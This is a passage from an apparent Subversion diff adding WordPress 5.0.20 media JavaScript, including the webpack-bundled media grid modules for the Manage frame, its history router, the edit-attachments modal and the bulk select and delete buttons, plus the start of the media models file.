+					post_id:   wp.media.view.settings.post.id
+				});
+			}
+		},
+		/**
+		 * Open a workflow
+		 *
+		 * @param {string} [id=undefined] Optional. A slug used to identify the workflow.
+		 * @param {Object} [options={}]
+		 *
+		 * @this wp.media.editor
+		 *
+		 * @returns {wp.media.view.MediaFrame}
+		 */
+		open: function( id, options ) {
+			var workflow;
+
+			options = options || {};
+
+			id = this.id( id );
+			this.activeEditor = id;
+
+			workflow = this.get( id );
+
+			// Redo workflow if state has changed
+			if ( ! workflow || ( workflow.options && options.state !== workflow.options.state ) ) {
+				workflow = this.add( id, options );
+			}
+
+			wp.media.frame = workflow;
+
+			return workflow.open();
+		},
+
+		/**
+		 * Bind click event for .insert-media using event delegation
+		 */
+		init: function() {
+			$(document.body)
+				.on( 'click.add-media-button', '.insert-media', function( event ) {
+					var elem = $( event.currentTarget ),
+						editor = elem.data('editor'),
+						options = {
+							frame:    'post',
+							state:    'insert',
+							title:    wp.media.view.l10n.addMedia,
+							multiple: true
+						};
+
+					event.preventDefault();
+
+					if ( elem.hasClass( 'gallery' ) ) {
+						options.state = 'gallery';
+						options.title = wp.media.view.l10n.createGalleryTitle;
+					}
+
+					wp.media.editor.open( editor, options );
+				});
+
+			// Initialize and render the Editor drag-and-drop uploader.
+			new wp.media.view.EditorUploader().render();
+		}
+	};
+
+	_.bindAll( wp.media.editor, 'open' );
+	$( wp.media.editor.init );
+}(jQuery, _));
Index: /tags/5.0.20/src/wp-includes/js/media-grid.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media-grid.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media-grid.js	(revision 56912)
@@ -0,0 +1,1070 @@
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+/******/ 			return installedModules[moduleId].exports;
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+/******/
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+/******/ 		module.l = true;
+/******/
+/******/ 		// Return the exports of the module
+/******/ 		return module.exports;
+/******/ 	}
+/******/
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+/******/ 	// expose the modules object (__webpack_modules__)
+/******/ 	__webpack_require__.m = modules;
+/******/
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+/******/ 	__webpack_require__.c = installedModules;
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+/******/ 	};
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+/******/ 	__webpack_require__.r = function(exports) {
+/******/ 		if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
+/******/ 			Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
+/******/ 		}
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+/******/ 		if(mode & 1) value = __webpack_require__(value);
+/******/ 		if(mode & 8) return value;
+/******/ 		if((mode & 4) && typeof value === 'object' && value && value.__esModule) return value;
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+/******/ 		__webpack_require__.r(ns);
+/******/ 		Object.defineProperty(ns, 'default', { enumerable: true, value: value });
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+/******/ 			function getModuleExports() { return module; };
+/******/ 		__webpack_require__.d(getter, 'a', getter);
+/******/ 		return getter;
+/******/ 	};
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+/******/ 	__webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); };
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+/******/ 	__webpack_require__.p = "";
+/******/
+/******/
+/******/ 	// Load entry module and return exports
+/******/ 	return __webpack_require__(__webpack_require__.s = 10);
+/******/ })
+/************************************************************************/
+/******/ ([
+/* 0 */,
+/* 1 */,
+/* 2 */,
+/* 3 */,
+/* 4 */,
+/* 5 */,
+/* 6 */,
+/* 7 */,
+/* 8 */,
+/* 9 */,
+/* 10 */
+/***/ (function(module, exports, __webpack_require__) {
+
+var media = wp.media;
+
+media.controller.EditAttachmentMetadata = __webpack_require__( 11 );
+media.view.MediaFrame.Manage = __webpack_require__( 12 );
+media.view.Attachment.Details.TwoColumn = __webpack_require__( 13 );
+media.view.MediaFrame.Manage.Router = __webpack_require__( 14 );
+media.view.EditImage.Details = __webpack_require__( 15 );
+media.view.MediaFrame.EditAttachments = __webpack_require__( 16 );
+media.view.SelectModeToggleButton = __webpack_require__( 17 );
+media.view.DeleteSelectedButton = __webpack_require__( 18 );
+media.view.DeleteSelectedPermanentlyButton = __webpack_require__( 19 );
+
+
+/***/ }),
+/* 11 */
+/***/ (function(module, exports) {
+
+var l10n = wp.media.view.l10n,
+	EditAttachmentMetadata;
+
+/**
+ * wp.media.controller.EditAttachmentMetadata
+ *
+ * A state for editing an attachment's metadata.
+ *
+ * @memberOf wp.media.controller
+ *
+ * @class
+ * @augments wp.media.controller.State
+ * @augments Backbone.Model
+ */
+EditAttachmentMetadata = wp.media.controller.State.extend(/** @lends wp.media.controller.EditAttachmentMetadata.prototype */{
+	defaults: {
+		id:      'edit-attachment',
+		// Title string passed to the frame's title region view.
+		title:   l10n.attachmentDetails,
+		// Region mode defaults.
+		content: 'edit-metadata',
+		menu:    false,
+		toolbar: false,
+		router:  false
+	}
+});
+
+module.exports = EditAttachmentMetadata;
+
+
+/***/ }),
+/* 12 */
+/***/ (function(module, exports) {
+
+var MediaFrame = wp.media.view.MediaFrame,
+	Library = wp.media.controller.Library,
+
+	$ = Backbone.$,
+	Manage;
+
+/**
+ * wp.media.view.MediaFrame.Manage
+ *
+ * A generic management frame workflow.
+ *
+ * Used in the media grid view.
+ *
+ * @memberOf wp.media.view.MediaFrame
+ *
+ * @class
+ * @augments wp.media.view.MediaFrame
+ * @augments wp.media.view.Frame
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ * @mixes wp.media.controller.StateMachine
+ */
+Manage = MediaFrame.extend(/** @lends wp.media.view.MediaFrame.Manage.prototype */{
+	/**
+	 * @constructs
+	 */
+	initialize: function() {
+		_.defaults( this.options, {
+			title:     '',
+			modal:     false,
+			selection: [],
+			library:   {}, // Options hash for the query to the media library.
+			multiple:  'add',
+			state:     'library',
+			uploader:  true,
+			mode:      [ 'grid', 'edit' ]
+		});
+
+		this.$body = $( document.body );
+		this.$window = $( window );
+		this.$adminBar = $( '#wpadminbar' );
+		// Store the Add New button for later reuse in wp.media.view.UploaderInline.
+		this.$uploaderToggler = $( '.page-title-action' )
+			.attr( 'aria-expanded', 'false' )
+			.on( 'click', _.bind( this.addNewClickHandler, this ) );
+
+		this.$window.on( 'scroll resize', _.debounce( _.bind( this.fixPosition, this ), 15 ) );
+
+		// Ensure core and media grid view UI is enabled.
+		this.$el.addClass('wp-core-ui');
+
+		// Force the uploader off if the upload limit has been exceeded or
+		// if the browser isn't supported.
+		if ( wp.Uploader.limitExceeded || ! wp.Uploader.browser.supported ) {
+			this.options.uploader = false;
+		}
+
+		// Initialize a window-wide uploader.
+		if ( this.options.uploader ) {
+			this.uploader = new wp.media.view.UploaderWindow({
+				controller: this,
+				uploader: {
+					dropzone:  document.body,
+					container: document.body
+				}
+			}).render();
+			this.uploader.ready();
+			$('body').append( this.uploader.el );
+
+			this.options.uploader = false;
+		}
+
+		this.gridRouter = new wp.media.view.MediaFrame.Manage.Router();
+
+		// Call 'initialize' directly on the parent class.
+		MediaFrame.prototype.initialize.apply( this, arguments );
+
+		// Append the frame view directly the supplied container.
+		this.$el.appendTo( this.options.container );
+
+		this.createStates();
+		this.bindRegionModeHandlers();
+		this.render();
+		this.bindSearchHandler();
+
+		wp.media.frames.browse = this;
+	},
+
+	bindSearchHandler: function() {
+		var search = this.$( '#media-search-input' ),
+			searchView = this.browserView.toolbar.get( 'search' ).$el,
+			listMode = this.$( '.view-list' ),
+
+			input  = _.throttle( function (e) {
+				var val = $( e.currentTarget ).val(),
+					url = '';
+
+				if ( val ) {
+					url += '?search=' + val;
+					this.gridRouter.navigate( this.gridRouter.baseUrl( url ), { replace: true } );
+				}
+			}, 1000 );
+
+		// Update the URL when entering search string (at most once per second)
+		search.on( 'input', _.bind( input, this ) );
+
+		this.gridRouter
+			.on( 'route:search', function () {
+				var href = window.location.href;
+				if ( href.indexOf( 'mode=' ) > -1 ) {
+					href = href.replace( /mode=[^&]+/g, 'mode=list' );
+				} else {
+					href += href.indexOf( '?' ) > -1 ? '&mode=list' : '?mode=list';
+				}
+				href = href.replace( 'search=', 's=' );
+				listMode.prop( 'href', href );
+			})
+			.on( 'route:reset', function() {
+				searchView.val( '' ).trigger( 'input' );
+			});
+	},
+
+	/**
+	 * Create the default states for the frame.
+	 */
+	createStates: function() {
+		var options = this.options;
+
+		if ( this.options.states ) {
+			return;
+		}
+
+		// Add the default states.
+		this.states.add([
+			new Library({
+				library:            wp.media.query( options.library ),
+				multiple:           options.multiple,
+				title:              options.title,
+				content:            'browse',
+				toolbar:            'select',
+				contentUserSetting: false,
+				filterable:         'all',
+				autoSelect:         false
+			})
+		]);
+	},
+
+	/**
+	 * Bind region mode activation events to proper handlers.
+	 */
+	bindRegionModeHandlers: function() {
+		this.on( 'content:create:browse', this.browseContent, this );
+
+		// Handle a frame-level event for editing an attachment.
+		this.on( 'edit:attachment', this.openEditAttachmentModal, this );
+
+		this.on( 'select:activate', this.bindKeydown, this );
+		this.on( 'select:deactivate', this.unbindKeydown, this );
+	},
+
+	handleKeydown: function( e ) {
+		if ( 27 === e.which ) {
+			e.preventDefault();
+			this.deactivateMode( 'select' ).activateMode( 'edit' );
+		}
+	},
+
+	bindKeydown: function() {
+		this.$body.on( 'keydown.select', _.bind( this.handleKeydown, this ) );
+	},
+
+	unbindKeydown: function() {
+		this.$body.off( 'keydown.select' );
+	},
+
+	fixPosition: function() {
+		var $browser, $toolbar;
+		if ( ! this.isModeActive( 'select' ) ) {
+			return;
+		}
+
+		$browser = this.$('.attachments-browser');
+		$toolbar = $browser.find('.media-toolbar');
+
+		// Offset doesn't appear to take top margin into account, hence +16
+		if ( ( $browser.offset().top + 16 ) < this.$window.scrollTop() + this.$adminBar.height() ) {
+			$browser.addClass( 'fixed' );
+			$toolbar.css('width', $browser.width() + 'px');
+		} else {
+			$browser.removeClass( 'fixed' );
+			$toolbar.css('width', '');
+		}
+	},
+
+	/**
+	 * Click handler for the `Add New` button.
+	 */
+	addNewClickHandler: function( event ) {
+		event.preventDefault();
+		this.trigger( 'toggle:upload:attachment' );
+
+		if ( this.uploader ) {
+			this.uploader.refresh();
+		}
+	},
+
+	/**
+	 * Open the Edit Attachment modal.
+	 */
+	openEditAttachmentModal: function( model ) {
+		// Create a new EditAttachment frame, passing along the library and the attachment model.
+		if ( wp.media.frames.edit ) {
+			wp.media.frames.edit.open().trigger( 'refresh', model );
+		} else {
+			wp.media.frames.edit = wp.media( {
+				frame:       'edit-attachments',
+				controller:  this,
+				library:     this.state().get('library'),
+				model:       model
+			} );
+		}
+	},
+
+	/**
+	 * Create an attachments browser view within the content region.
+	 *
+	 * @param {Object} contentRegion Basic object with a `view` property, which
+	 *                               should be set with the proper region view.
+	 * @this wp.media.controller.Region
+	 */
+	browseContent: function( contentRegion ) {
+		var state = this.state();
+
+		// Browse our library of attachments.
+		this.browserView = contentRegion.view = new wp.media.view.AttachmentsBrowser({
+			controller: this,
+			collection: state.get('library'),
+			selection:  state.get('selection'),
+			model:      state,
+			sortable:   state.get('sortable'),
+			search:     state.get('searchable'),
+			filters:    state.get('filterable'),
+			date:       state.get('date'),
+			display:    state.get('displaySettings'),
+			dragInfo:   state.get('dragInfo'),
+			sidebar:    'errors',
+
+			suggestedWidth:  state.get('suggestedWidth'),
+			suggestedHeight: state.get('suggestedHeight'),
+
+			AttachmentView: state.get('AttachmentView'),
+
+			scrollElement: document
+		});
+		this.browserView.on( 'ready', _.bind( this.bindDeferred, this ) );
+
+		this.errors = wp.Uploader.errors;
+		this.errors.on( 'add remove reset', this.sidebarVisibility, this );
+	},
+
+	sidebarVisibility: function() {
+		this.browserView.$( '.media-sidebar' ).toggle( !! this.errors.length );
+	},
+
+	bindDeferred: function() {
+		if ( ! this.browserView.dfd ) {
+			return;
+		}
+		this.browserView.dfd.done( _.bind( this.startHistory, this ) );
+	},
+
+	startHistory: function() {
+		// Verify pushState support and activate
+		if ( window.history && window.history.pushState ) {
+			if ( Backbone.History.started ) {
+				Backbone.history.stop();
+			}
+			Backbone.history.start( {
+				root: window._wpMediaGridSettings.adminUrl,
+				pushState: true
+			} );
+		}
+	}
+});
+
+module.exports = Manage;
+
+
+/***/ }),
+/* 13 */
+/***/ (function(module, exports) {
+
+var Details = wp.media.view.Attachment.Details,
+	TwoColumn;
+
+/**
+ * wp.media.view.Attachment.Details.TwoColumn
+ *
+ * A similar view to media.view.Attachment.Details
+ * for use in the Edit Attachment modal.
+ *
+ * @memberOf wp.media.view.Attachment.Details
+ *
+ * @class
+ * @augments wp.media.view.Attachment.Details
+ * @augments wp.media.view.Attachment
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+TwoColumn = Details.extend(/** @lends wp.media.view.Attachment.Details.TowColumn.prototype */{
+	template: wp.template( 'attachment-details-two-column' ),
+
+	initialize: function() {
+		this.controller.on( 'content:activate:edit-details', _.bind( this.editAttachment, this ) );
+
+		Details.prototype.initialize.apply( this, arguments );
+	},
+
+	editAttachment: function( event ) {
+		if ( event ) {
+			event.preventDefault();
+		}
+		this.controller.content.mode( 'edit-image' );
+	},
+
+	/**
+	 * Noop this from parent class, doesn't apply here.
+	 */
+	toggleSelectionHandler: function() {},
+
+	render: function() {
+		Details.prototype.render.apply( this, arguments );
+
+		wp.media.mixin.removeAllPlayers();
+		this.$( 'audio, video' ).each( function (i, elem) {
+			var el = wp.media.view.MediaDetails.prepareSrc( elem );
+			new window.MediaElementPlayer( el, wp.media.mixin.mejsSettings );
+		} );
+	}
+});
+
+module.exports = TwoColumn;
+
+
+/***/ }),
+/* 14 */
+/***/ (function(module, exports) {
+
+/**
+ * wp.media.view.MediaFrame.Manage.Router
+ *
+ * A router for handling the browser history and application state.
+ *
+ * @memberOf wp.media.view.MediaFrame.Manage
+ *
+ * @class
+ * @augments Backbone.Router
+ */
+var Router = Backbone.Router.extend(/** @lends wp.media.view.MediaFrame.Manage.Router.prototype */{
+	routes: {
+		'upload.php?item=:slug&mode=edit': 'editItem',
+		'upload.php?item=:slug':           'showItem',
+		'upload.php?search=:query':        'search',
+		'upload.php':                      'reset'
+	},
+
+	// Map routes against the page URL
+	baseUrl: function( url ) {
+		return 'upload.php' + url;
+	},
+
+	reset: function() {
+		var frame = wp.media.frames.edit;
+
+		if ( frame ) {
+			frame.close();
+		}
+	},
+
+	// Respond to the search route by filling the search field and trigggering the input event
+	search: function( query ) {
+		jQuery( '#media-search-input' ).val( query ).trigger( 'input' );
+	},
+
+	// Show the modal with a specific item
+	showItem: function( query ) {
+		var media = wp.media,
+			frame = media.frames.browse,
+			library = frame.state().get('library'),
+			item;
+
+		// Trigger the media frame to open the correct item
+		item = library.findWhere( { id: parseInt( query, 10 ) } );
+		item.set( 'skipHistory', true );
+
+		if ( item ) {
+			frame.trigger( 'edit:attachment', item );
+		} else {
+			item = media.attachment( query );
+			frame.listenTo( item, 'change', function( model ) {
+				frame.stopListening( item );
+				frame.trigger( 'edit:attachment', model );
+			} );
+			item.fetch();
+		}
+	},
+
+	// Show the modal in edit mode with a specific item.
+	editItem: function( query ) {
+		this.showItem( query );
+		wp.media.frames.edit.content.mode( 'edit-details' );
+	}
+});
+
+module.exports = Router;
+
+
+/***/ }),
+/* 15 */
+/***/ (function(module, exports) {
+
+var View = wp.media.View,
+	EditImage = wp.media.view.EditImage,
+	Details;
+
+/**
+ * wp.media.view.EditImage.Details
+ *
+ * @memberOf wp.media.view.EditImage
+ *
+ * @class
+ * @augments wp.media.view.EditImage
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+Details = EditImage.extend(/** @lends wp.media.view.EditImage.Details.prototype */{
+	initialize: function( options ) {
+		this.editor = window.imageEdit;
+		this.frame = options.frame;
+		this.controller = options.controller;
+		View.prototype.initialize.apply( this, arguments );
+	},
+
+	back: function() {
+		this.frame.content.mode( 'edit-metadata' );
+	},
+
+	save: function() {
+		this.model.fetch().done( _.bind( function() {
+			this.frame.content.mode( 'edit-metadata' );
+		}, this ) );
+	}
+});
+
+module.exports = Details;
+
+
+/***/ }),
+/* 16 */
+/***/ (function(module, exports) {
+
+var Frame = wp.media.view.Frame,
+	MediaFrame = wp.media.view.MediaFrame,
+
+	$ = jQuery,
+	EditAttachments;
+
+/**
+ * wp.media.view.MediaFrame.EditAttachments
+ *
+ * A frame for editing the details of a specific media item.
+ *
+ * Opens in a modal by default.
+ *
+ * Requires an attachment model to be passed in the options hash under `model`.
+ *
+ * @memberOf wp.media.view.MediaFrame
+ *
+ * @class
+ * @augments wp.media.view.Frame
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ * @mixes wp.media.controller.StateMachine
+ */
+EditAttachments = MediaFrame.extend(/** @lends wp.media.view.MediaFrame.EditAttachments.prototype */{
+
+	className: 'edit-attachment-frame',
+	template:  wp.template( 'edit-attachment-frame' ),
+	regions:   [ 'title', 'content' ],
+
+	events: {
+		'click .left':  'previousMediaItem',
+		'click .right': 'nextMediaItem'
+	},
+
+	initialize: function() {
+		Frame.prototype.initialize.apply( this, arguments );
+
+		_.defaults( this.options, {
+			modal: true,
+			state: 'edit-attachment'
+		});
+
+		this.controller = this.options.controller;
+		this.gridRouter = this.controller.gridRouter;
+		this.library = this.options.library;
+
+		if ( this.options.model ) {
+			this.model = this.options.model;
+		}
+
+		this.bindHandlers();
+		this.createStates();
+		this.createModal();
+
+		this.title.mode( 'default' );
+		this.toggleNav();
+	},
+
+	bindHandlers: function() {
+		// Bind default title creation.
+		this.on( 'title:create:default', this.createTitle, this );
+
+		this.on( 'content:create:edit-metadata', this.editMetadataMode, this );
+		this.on( 'content:create:edit-image', this.editImageMode, this );
+		this.on( 'content:render:edit-image', this.editImageModeRender, this );
+		this.on( 'refresh', this.rerender, this );
+		this.on( 'close', this.detach );
+
+		this.bindModelHandlers();
+		this.listenTo( this.gridRouter, 'route:search', this.close, this );
+	},
+
+	bindModelHandlers: function() {
+		// Close the modal if the attachment is deleted.
+		this.listenTo( this.model, 'change:status destroy', this.close, this );
+	},
+
+	createModal: function() {
+		// Initialize modal container view.
+		if ( this.options.modal ) {
+			this.modal = new wp.media.view.Modal({
+				controller: this,
+				title:      this.options.title
+			});
+
+			this.modal.on( 'open', _.bind( function () {
+				$( 'body' ).on( 'keydown.media-modal', _.bind( this.keyEvent, this ) );
+			}, this ) );
+
+			// Completely destroy the modal DOM element when closing it.
+			this.modal.on( 'close', _.bind( function() {
+				$( 'body' ).off( 'keydown.media-modal' ); /* remove the keydown event */
+				// Restore the original focus item if possible
+				$( 'li.attachment[data-id="' + this.model.get( 'id' ) +'"]' ).focus();
+				this.resetRoute();
+			}, this ) );
+
+			// Set this frame as the modal's content.
+			this.modal.content( this );
+			this.modal.open();
+		}
+	},
+
+	/**
+	 * Add the default states to the frame.
+	 */
+	createStates: function() {
+		this.states.add([
+			new wp.media.controller.EditAttachmentMetadata({
+				model:   this.model,
+				library: this.library
+			})
+		]);
+	},
+
+	/**
+	 * Content region rendering callback for the `edit-metadata` mode.
+	 *
+	 * @param {Object} contentRegion Basic object with a `view` property, which
+	 *                               should be set with the proper region view.
+	 */
+	editMetadataMode: function( contentRegion ) {
+		contentRegion.view = new wp.media.view.Attachment.Details.TwoColumn({
+			controller: this,
+			model:      this.model
+		});
+
+		/**
+		 * Attach a subview to display fields added via the
+		 * `attachment_fields_to_edit` filter.
+		 */
+		contentRegion.view.views.set( '.attachment-compat', new wp.media.view.AttachmentCompat({
+			controller: this,
+			model:      this.model
+		}) );
+
+		// Update browser url when navigating media details, except on load.
+		if ( this.model && ! this.model.get( 'skipHistory' ) ) {
+			this.gridRouter.navigate( this.gridRouter.baseUrl( '?item=' + this.model.id ) );
+		}
+	},
+
+	/**
+	 * Render the EditImage view into the frame's content region.
+	 *
+	 * @param {Object} contentRegion Basic object with a `view` property, which
+	 *                               should be set with the proper region view.
+	 */
+	editImageMode: function( contentRegion ) {
+		var editImageController = new wp.media.controller.EditImage( {
+			model: this.model,
+			frame: this
+		} );
+		// Noop some methods.
+		editImageController._toolbar = function() {};
+		editImageController._router = function() {};
+		editImageController._menu = function() {};
+
+		contentRegion.view = new wp.media.view.EditImage.Details( {
+			model: this.model,
+			frame: this,
+			controller: editImageController
+		} );
+
+		this.gridRouter.navigate( this.gridRouter.baseUrl( '?item=' + this.model.id + '&mode=edit' ) );
+
+	},
+
+	editImageModeRender: function( view ) {
+		view.on( 'ready', view.loadEditor );
+	},
+
+	toggleNav: function() {
+		this.$('.left').toggleClass( 'disabled', ! this.hasPrevious() );
+		this.$('.right').toggleClass( 'disabled', ! this.hasNext() );
+	},
+
+	/**
+	 * Rerender the view.
+	 */
+	rerender: function( model ) {
+		this.stopListening( this.model );
+
+		this.model = model;
+
+		this.bindModelHandlers();
+
+		// Only rerender the `content` region.
+		if ( this.content.mode() !== 'edit-metadata' ) {
+			this.content.mode( 'edit-metadata' );
+		} else {
+			this.content.render();
+		}
+
+		this.toggleNav();
+	},
+
+	/**
+	 * Click handler to switch to the previous media item.
+	 */
+	previousMediaItem: function() {
+		if ( ! this.hasPrevious() ) {
+			return;
+		}
+		this.trigger( 'refresh', this.library.at( this.getCurrentIndex() - 1 ) );
+		this.$( '.left' ).focus();
+	},
+
+	/**
+	 * Click handler to switch to the next media item.
+	 */
+	nextMediaItem: function() {
+		if ( ! this.hasNext() ) {
+			return;
+		}
+		this.trigger( 'refresh', this.library.at( this.getCurrentIndex() + 1 ) );
+		this.$( '.right' ).focus();
+	},
+
+	getCurrentIndex: function() {
+		return this.library.indexOf( this.model );
+	},
+
+	hasNext: function() {
+		return ( this.getCurrentIndex() + 1 ) < this.library.length;
+	},
+
+	hasPrevious: function() {
+		return ( this.getCurrentIndex() - 1 ) > -1;
+	},
+	/**
+	 * Respond to the keyboard events: right arrow, left arrow, except when
+	 * focus is in a textarea or input field.
+	 */
+	keyEvent: function( event ) {
+		if ( ( 'INPUT' === event.target.nodeName || 'TEXTAREA' === event.target.nodeName ) && ! ( event.target.readOnly || event.target.disabled ) ) {
+			return;
+		}
+
+		// The right arrow key
+		if ( 39 === event.keyCode ) {
+			this.nextMediaItem();
+		}
+		// The left arrow key
+		if ( 37 === event.keyCode ) {
+			this.previousMediaItem();
+		}
+	},
+
+	resetRoute: function() {
+		var searchTerm = this.controller.browserView.toolbar.get( 'search' ).$el.val(),
+			url = '' !== searchTerm ? '?search=' + searchTerm : '';
+		this.gridRouter.navigate( this.gridRouter.baseUrl( url ), { replace: true } );
+	}
+});
+
+module.exports = EditAttachments;
+
+
+/***/ }),
+/* 17 */
+/***/ (function(module, exports) {
+
+
+var Button = wp.media.view.Button,
+	l10n = wp.media.view.l10n,
+	SelectModeToggle;
+
+/**
+ * wp.media.view.SelectModeToggleButton
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.view.Button
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+SelectModeToggle = Button.extend(/** @lends wp.media.view.SelectModeToggle.prototype */{
+	initialize: function() {
+		_.defaults( this.options, {
+			size : ''
+		} );
+
+		Button.prototype.initialize.apply( this, arguments );
+		this.controller.on( 'select:activate select:deactivate', this.toggleBulkEditHandler, this );
+		this.controller.on( 'selection:action:done', this.back, this );
+	},
+
+	back: function () {
+		this.controller.deactivateMode( 'select' ).activateMode( 'edit' );
+	},
+
+	click: function() {
+		Button.prototype.click.apply( this, arguments );
+		if ( this.controller.isModeActive( 'select' ) ) {
+			this.back();
+		} else {
+			this.controller.deactivateMode( 'edit' ).activateMode( 'select' );
+		}
+	},
+
+	render: function() {
+		Button.prototype.render.apply( this, arguments );
+		this.$el.addClass( 'select-mode-toggle-button' );
+		return this;
+	},
+
+	toggleBulkEditHandler: function() {
+		var toolbar = this.controller.content.get().toolbar, children;
+
+		children = toolbar.$( '.media-toolbar-secondary > *, .media-toolbar-primary > *' );
+
+		// TODO: the Frame should be doing all of this.
+		if ( this.controller.isModeActive( 'select' ) ) {
+			this.model.set( {
+				size: 'large',
+				text: l10n.cancelSelection
+			} );
+			children.not( '.spinner, .media-button' ).hide();
+			this.$el.show();
+			toolbar.$( '.delete-selected-button' ).removeClass( 'hidden' );
+		} else {
+			this.model.set( {
+				size: '',
+				text: l10n.bulkSelect
+			} );
+			this.controller.content.get().$el.removeClass( 'fixed' );
+			toolbar.$el.css( 'width', '' );
+			toolbar.$( '.delete-selected-button' ).addClass( 'hidden' );
+			children.not( '.media-button' ).show();
+			this.controller.state().get( 'selection' ).reset();
+		}
+	}
+});
+
+module.exports = SelectModeToggle;
+
+
+/***/ }),
+/* 18 */
+/***/ (function(module, exports) {
+
+var Button = wp.media.view.Button,
+	l10n = wp.media.view.l10n,
+	DeleteSelected;
+
+/**
+ * wp.media.view.DeleteSelectedButton
+ *
+ * A button that handles bulk Delete/Trash logic
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.view.Button
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+DeleteSelected = Button.extend(/** @lends wp.media.view.DeleteSelectedButton.prototype */{
+	initialize: function() {
+		Button.prototype.initialize.apply( this, arguments );
+		if ( this.options.filters ) {
+			this.options.filters.model.on( 'change', this.filterChange, this );
+		}
+		this.controller.on( 'selection:toggle', this.toggleDisabled, this );
+	},
+
+	filterChange: function( model ) {
+		if ( 'trash' === model.get( 'status' ) ) {
+			this.model.set( 'text', l10n.untrashSelected );
+		} else if ( wp.media.view.settings.mediaTrash ) {
+			this.model.set( 'text', l10n.trashSelected );
+		} else {
+			this.model.set( 'text', l10n.deleteSelected );
+		}
+	},
+
+	toggleDisabled: function() {
+		this.model.set( 'disabled', ! this.controller.state().get( 'selection' ).length );
+	},
+
+	render: function() {
+		Button.prototype.render.apply( this, arguments );
+		if ( this.controller.isModeActive( 'select' ) ) {
+			this.$el.addClass( 'delete-selected-button' );
+		} else {
+			this.$el.addClass( 'delete-selected-button hidden' );
+		}
+		this.toggleDisabled();
+		return this;
+	}
+});
+
+module.exports = DeleteSelected;
+
+
+/***/ }),
+/* 19 */
+/***/ (function(module, exports) {
+
+var Button = wp.media.view.Button,
+	DeleteSelected = wp.media.view.DeleteSelectedButton,
+	DeleteSelectedPermanently;
+
+/**
+ * wp.media.view.DeleteSelectedPermanentlyButton
+ *
+ * When MEDIA_TRASH is true, a button that handles bulk Delete Permanently logic
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.view.DeleteSelectedButton
+ * @augments wp.media.view.Button
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+DeleteSelectedPermanently = DeleteSelected.extend(/** @lends wp.media.view.DeleteSelectedPermanentlyButton.prototype */{
+	initialize: function() {
+		DeleteSelected.prototype.initialize.apply( this, arguments );
+		this.controller.on( 'select:activate', this.selectActivate, this );
+		this.controller.on( 'select:deactivate', this.selectDeactivate, this );
+	},
+
+	filterChange: function( model ) {
+		this.canShow = ( 'trash' === model.get( 'status' ) );
+	},
+
+	selectActivate: function() {
+		this.toggleDisabled();
+		this.$el.toggleClass( 'hidden', ! this.canShow );
+	},
+
+	selectDeactivate: function() {
+		this.toggleDisabled();
+		this.$el.addClass( 'hidden' );
+	},
+
+	render: function() {
+		Button.prototype.render.apply( this, arguments );
+		this.selectActivate();
+		return this;
+	}
+});
+
+module.exports = DeleteSelectedPermanently;
+
+
+/***/ })
+/******/ ]);
Index: /tags/5.0.20/src/wp-includes/js/media-models.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media-models.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media-models.js	(revision 56912)
@@ -0,0 +1,1649 @@
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+/******/ 	// The module cache
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+/******/
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+/******/
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+/******/ 		return module.exports;
+/******/ 	}
+/******/
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+/******/ 	};
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+/******/ 		if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
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+/******/ })
+/************************************************************************/
+/******/ ({
+
+/***/ 20:
+/***/ (function(module, exports, __webpack_require__) {
+
+var $ = jQuery,
+	Attachment, Attachments, l10n, media;
+
+/** @namespace wp */
+window.wp = window.wp || {};
+
+/**
+ * Create and return a media frame.
+ *
+ * Handles the default media experience.
+ *
+ * @alias wp.media
+ * @memberOf wp
+ * @namespace
+ *
+ * @param  {object} attributes The properties passed to the main media controller.
+ * @return {wp.media.view.MediaFrame} A media workflow.
+ */
+media = wp.media = function( attributes ) {
+	var MediaFrame = media.view.MediaFrame,
+		frame;
+
+	if ( ! MediaFrame ) {
+		return;
+	}
+
+	attributes = _.defaults( attributes || {}, {
+		frame: 'select'
+	});
+
+	if ( 'select' === attributes.frame && MediaFrame.Select ) {
+		frame = new MediaFrame.Select( attributes );
+	} else if ( 'post' === attributes.frame && MediaFrame.Post ) {
+		frame = new MediaFrame.Post( attributes );
+	} else if ( 'manage' === attributes.frame && MediaFrame.Manage ) {
+		frame = new MediaFrame.Manage( attributes );
+	} else if ( 'image' === attributes.frame && MediaFrame.ImageDetails ) {
+		frame = new MediaFrame.ImageDetails( attributes );
+	} else if ( 'audio' === attributes.frame && MediaFrame.AudioDetails ) {
+		frame = new MediaFrame.AudioDetails( attributes );
+	} else if ( 'video' === attributes.frame && MediaFrame.VideoDetails ) {
+		frame = new MediaFrame.VideoDetails( attributes );
+	} else if ( 'edit-attachments' === attributes.frame && MediaFrame.EditAttachments ) {
+		frame = new MediaFrame.EditAttachments( attributes );
+	}
+
+	delete attributes.frame;
+
+	media.frame = frame;
+
+	return frame;
+};
+
+/** @namespace wp.media.model */
+/** @namespace wp.media.view */
+/** @namespace wp.media.controller */
+/** @namespace wp.media.frames */
+_.extend( media, { model: {}, view: {}, controller: {}, frames: {} });
+
+// Link any localized strings.
+l10n = media.model.l10n = window._wpMediaModelsL10n || {};
+
+// Link any settings.
+media.model.settings = l10n.settings || {};
+delete l10n.settings;
+
+Attachment = media.model.Attachment = __webpack_require__( 21 );
+Attachments = media.model.Attachments = __webpack_require__( 22 );
+
+media.model.Query = __webpack_require__( 23 );
